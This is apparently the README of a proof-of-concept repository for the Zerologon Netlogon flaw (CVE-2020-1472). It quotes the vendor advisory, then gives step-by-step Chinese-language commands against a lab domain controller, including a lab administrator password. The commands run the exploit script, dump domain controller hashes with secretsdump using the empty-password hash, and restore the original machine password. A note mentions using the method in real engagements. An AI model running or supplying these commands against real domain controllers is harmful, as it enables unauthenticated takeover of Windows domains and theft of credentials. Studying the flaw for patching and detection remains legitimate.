CVE-2020-1472 PoC — Netlogon Elevation of Privilege Vulnerability

Title:Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)
Description:An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network. To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access. Microsoft is addressing the vulnerability in a phased two-part rollout. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels. For guidelines on how to manage the changes required for this vulnerability and more information on the phased rollout, see How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (updated September 28, 2020). When the second phase of Windows updates become available in Q1 2021, customers will be notified via a revision to this security vulnerability. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this advisory. See Microsoft Technical Security Notifications.

CVE-2020-1472复现流程

复现完了有点小BUG，重启后会卡在登录页面比较久。不知道是不是只有我会。(谨慎在真实环境利用)
实战中可以使用secretsdump.py 的 -use-vss和-history获取历史hash进行恢复.

第一步

pip3 install -r requirements.txt

查看hash

secretsdump.py molecule-labs.com/administrator:Aa123456.@192.168.175.132 -just-dc-user 'AD$'

![images](https://github.com/NAXG/CVE-2020-1472/blob/master/1.png)

攻击

python3 CVE-2020-1472.py AD AD$ 192.168.175.132

![images](https://github.com/NAXG/CVE-2020-1472/blob/master/2.png)

查询域控hash

secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

![images](https://github.com/NAXG/CVE-2020-1472/blob/master/3.png)

恢复hash

python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145

![images](https://github.com/NAXG/CVE-2020-1472/blob/master/4.png)

查询恢复后的hash

secretsdump.py molecule-labs.com/administrator:Aa123456.@192.168.175.132 -just-dc-user 'AD$'

![images](https://github.com/NAXG/CVE-2020-1472/blob/master/5.png)

脚本来源
https://github.com/blackarrowsec/redteam-research

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/SecuraBV/CVE-2020-1472

 [4.0K]  /data/pocs/0cc66b31cdabb07a2c0a7727f1b2b85bc1124f51
├── [128K]  1.png
├── [ 90K]  2.png
├── [124K]  3.png
├── [162K]  4.png
├── [ 83K]  5.png
├── [4.9K]  CVE-2020-1472.py
├── [1.3K]  README.md
├── [6.4K]  reinstall_original_pw.py
└── [ 325]  requirements.txt

0 directories, 9 files